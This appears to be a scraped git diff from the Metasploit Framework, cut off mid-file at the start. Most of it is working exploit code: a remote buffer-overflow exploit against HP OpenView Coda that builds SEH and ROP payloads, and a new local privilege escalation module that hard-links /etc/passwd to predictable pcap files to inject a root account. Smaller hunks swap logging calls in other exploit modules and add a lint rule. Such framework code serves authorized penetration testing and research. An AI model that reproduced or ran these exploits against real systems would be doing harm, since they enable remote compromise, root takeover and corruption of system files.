res = ping
|
||||
|
||||
if not res
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res !~ /HTTP\/1\.1 200 OK/
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res =~ /server:.*coda 11.(\d+)/
|
||||
minor = $1.to_i
|
||||
if minor < 2
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
if res =~ /server:.*coda/
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
|
||||
end
|
||||
|
||||
def ping
|
||||
|
||||
ping_request = <<-eos
|
||||
Ping /Hewlett-Packard/OpenView/BBC/ping/ HTTP/1.1
|
||||
cache-control: no-cache
|
||||
connection: close
|
||||
content-length: 0
|
||||
content-type: application/octetstream
|
||||
host: #{rhost}:#{rport}
|
||||
pragma: no-cache
|
||||
targetid: unknown
|
||||
targeturi: http://#{rhost}:#{rport}/Hewlett-Packard/OpenView/BBC/ping/
|
||||
user-agent: BBC 11.00.044; coda unknown version
|
||||
|
||||
eos
|
||||
|
||||
connect
|
||||
sock.put(ping_request)
|
||||
res = sock.get_once(-1, 1)
|
||||
disconnect
|
||||
|
||||
return res
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
peer = "#{rhost}:#{rport}"
|
||||
|
||||
print_status "#{peer} - Ping host..."
|
||||
res = ping
|
||||
if not res or res !~ /HTTP\/1\.1 200 OK/ or res !~ /server:.*coda/
|
||||
print_error("#{peer} - Host didn't answer correctly to ping")
|
||||
return
|
||||
end
|
||||
|
||||
connect
|
||||
|
||||
http_headers = <<-eos
|
||||
GET /Hewlett-Packard/OpenView/Coda/ HTTP/1.1
|
||||
cache-control: no-cache
|
||||
content-type: application/octetstream
|
||||
expect: 100-continue
|
||||
host: #{rhost}:#{rport}
|
||||
pragma: no-cache
|
||||
targetid: unknown
|
||||
targeturi: http://[#{rhost}]:#{rport}/Hewlett-Packard/OpenView/Coda/
|
||||
transfer-encoding: chunked
|
||||
user-agent: BBC 11.00.044; 14
|
||||
|
||||
eos
|
||||
|
||||
print_status("#{peer} - Sending HTTP Expect...")
|
||||
sock.put(http_headers)
|
||||
res = sock.get_once(-1, 1)
|
||||
if not res or res !~ /HTTP\/1\.1 100 Continue/
|
||||
print_error("#{peer} - Failed while sending HTTP Expect Header")
|
||||
return
|
||||
end
|
||||
|
||||
coda_request = [
|
||||
0x0000000e,
|
||||
0xffffffff,
|
||||
0x00000000,
|
||||
0x0000008c, # Operation 0x8c
|
||||
0x00000002,
|
||||
0x00000002
|
||||
].pack("N*")
|
||||
|
||||
if target.name =~ /Windows XP/
|
||||
bof = rand_text(target['Offset'])
|
||||
bof << generate_seh_record(target.ret)
|
||||
bof << payload.encoded
|
||||
bof << rand_text(4000) # Allows to trigger exception
|
||||
else # Windows 2003
|
||||
rop_payload = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'2003'})
|
||||
bof = rand_text(target['RopOffset'])
|
||||
bof << rop_payload
|
||||
my_payload_length = target['RopOffset'] + rop_payload.length
|
||||
bof << rand_text(target['Offset'] - my_payload_length)
|
||||
bof << generate_seh_record(target.ret)
|
||||
bof << rand_text(4000) # Allows to trigger exception
|
||||
end
|
||||
|
||||
coda_request << [bof.length].pack("n")
|
||||
coda_request << bof
|
||||
|
||||
http_body = coda_request.length.to_s(16)
|
||||
http_body << "\x0d\x0a"
|
||||
http_body << coda_request
|
||||
http_body << "\x0d\x0a\x0d\x0a"
|
||||
|
||||
print_status("#{peer} - Triggering overflow...")
|
||||
sock.put(http_body)
|
||||
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
|
@ -146,14 +146,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
|
||||
|
||||
begin
|
||||
print_status("Deleting #{@php_fname}")
|
||||
print_warning("Deleting #{@php_fname}")
|
||||
cli.fs.file.rm(@php_fname)
|
||||
rescue ::Exception => e
|
||||
print_error("Please note: #{@php_fname} is stil on disk.")
|
||||
end
|
||||
|
||||
begin
|
||||
print_status("Deleting #{@exe_fname}")
|
||||
print_warning("Deleting #{@exe_fname}")
|
||||
cli.fs.file.rm(@exe_fname)
|
||||
rescue ::Exception => e
|
||||
print_error("Please note: #{@exe_fname} is still on disk.")
|
||||
|
|
|
@ -148,7 +148,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
resp = sock.get_once
|
||||
|
||||
if (resp and resp !~ /^220/)
|
||||
print_status("Warning: this server may not support STARTTLS")
|
||||
print_warning("Warning: this server may not support STARTTLS")
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -101,7 +101,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# this system, or something major happened to the heap that will probably
|
||||
# prevent this exploit from working.
|
||||
if (not ret[3])
|
||||
print_status("Warning: the leaked heap address indicates that this attack may fail");
|
||||
print_warning("Warning: the leaked heap address indicates that this attack may fail");
|
||||
end
|
||||
|
||||
# The base address of our structure in memory
|
||||
|
|
|
@ -0,0 +1,112 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/linux/priv'
|
||||
require 'msf/core/exploit/local/linux'
|
||||
require 'msf/core/exploit/local/unix'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Common
|
||||
|
||||
include Msf::Exploit::Local::Linux
|
||||
include Msf::Exploit::Local::Unix
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info, {
|
||||
'Name' => 'Metasploit pcap_log Local Privilege Escalation',
|
||||
'Description' => %q{
|
||||
Metasploit < 4.4 contains a vulnerable 'pcap_log' plugin which, when used with the default settings,
|
||||
creates pcap files in /tmp with predictable file names. This exploits this by hard-linking these
|
||||
filenames to /etc/passwd, then sending a packet with a priviliged user entry contained within.
|
||||
This, and all the other packets, are appended to /etc/passwd.
|
||||
|
||||
Successful exploitation results in the creation of a new superuser account.
|
||||
|
||||
This module requires manual clean-up. Upon success, you should remove /tmp/msf3-session*pcap
|
||||
files and truncate /etc/passwd. Note that if this module fails, you can potentially induce
|
||||
a permanent DoS on the target by corrupting the /etc/passwd file.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ '0a29406d9794e4f9b30b3c5d6702c708'],
|
||||
'Platform' => [ 'linux','unix','bsd' ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'References' =>
|
||||
[
|
||||
[ 'BID', '54472' ],
|
||||
[ 'URL', 'http://0a29.blogspot.com/2012/07/0a29-12-2-metasploit-pcaplog-plugin.html'],
|
||||
[ 'URL', 'https://community.rapid7.com/docs/DOC-1946' ],
|
||||
],
|
||||
'DisclosureDate' => "Jul 16 2012",
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Linux/Unix Universal', {} ],
|
||||
],
|
||||
'Stance' => Msf::Exploit::Stance::Passive,
|
||||
'DefaultTarget' => 0,
|
||||
}
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(2940),
|
||||
OptString.new("USERNAME", [ true, "Username for the new superuser", "metasploit" ]),
|
||||
OptString.new("PASSWORD", [ true, "Password for the new superuser", "metasploit" ]),
|
||||
OptInt.new("MINUTES", [true, "Number of minutes to try to inject", 5])
|
||||
], self)
|
||||
end
|
||||
|
||||
def normalize_minutes
|
||||
datastore["MINUTES"].abs rescue 0
|
||||
end
|
||||
|
||||
def run
|
||||
print_status "Setting up the victim's /tmp dir"
|
||||
initial_size = cmd_exec("cat /etc/passwd | wc -l")
|
||||
print_status "/etc/passwd is currently #{initial_size} lines long"
|
||||
i = 0
|
||||
j = 0
|
||||
loop do
|
||||
if (i == 0)
|
||||
j += 1
|
||||
break if j >= datastore['MINUTES'] + 1 # Give up after X minutes
|
||||
# 0a2940: cmd_exec is slow, so send 1 command to do all the links
|
||||
print_status "Linking /etc/passwd to predictable tmp files (Attempt #{j})"
|
||||
cmd_exec("for i in `seq 0 120` ; do ln /etc/passwd /tmp/msf3-session_`date --date=\"\$i seconds\" +%Y-%m-%d_%H-%M-%S`.pcap ; done")
|
||||
end
|
||||
current_size = cmd_exec("cat /etc/passwd | wc -l")
|
||||
if current_size == initial_size
|
||||
# PCAP is flowing
|
||||
pkt = "\n\n" + datastore['USERNAME'] + ":" + datastore['PASSWORD'].crypt("0a") + ":0:0:Metasploit Root Account:/tmp:/bin/bash\n\n"
|
||||
vprint_status("Sending /etc/passwd file contents payload to #{session.session_host}")
|
||||
udpsock = Rex::Socket::Udp.create(
|
||||
{
|
||||
'Context' => {'Msf' => framework, 'MsfExploit'=>self}
|
||||
})
|
||||
res = udpsock.sendto(pkt, session.session_host, datastore['RPORT'])
|
||||
else
|
||||
break
|
||||
end
|
||||
sleep(1) # wait a second
|
||||
i = (i+1) % 60 # increment second counter
|
||||
end
|
||||
|
||||
if cmd_exec("(grep Metasploit /etc/passwd > /dev/null && echo true) || echo false").include?("true")
|
||||
print_good("Success. You should now be able to login or su to the '" + datastore['USERNAME'] + "' account")
|
||||
# TODO: Consider recording our now-created username and password as a valid credential here.
|
||||
else
|
||||
print_error("Failed, the '" + datastore['USERNAME'] + "' user does not appear to have been added")
|
||||
end
|
||||
# 0a2940: Initially the plan was to have this post module switch user, upload & execute a new payload
|
||||
# However beceause the session is not a terminal, su will not always allow this.
|
||||
end
|
||||
end
|
|
@ -50,7 +50,7 @@ class Metasploit3 < Msf::Post
|
|||
vuln = false
|
||||
sysinfo = session.sys.config.sysinfo
|
||||
winver = sysinfo["OS"]
|
||||
affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008' ]
|
||||
affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008', 'Windows 8' ]
|
||||
affected.each { |v|
|
||||
if winver.include? v
|
||||
vuln = true
|
||||
|
|
|
@ -208,6 +208,10 @@ class Msftidy
|
|||
end
|
||||
end
|
||||
|
||||
if ln =~/^[ \t]*load[ \t]+[\x22\x27]/
|
||||
error("Loading (not requiring) a file: #{ln.inspect}", idx)
|
||||
end
|
||||
|
||||
# The rest of these only count if it's not a comment line
|
||||
next if ln =~ /[[:space:]]*#/
|
||||
|
||||
|
|
Loading…
Reference in New Issue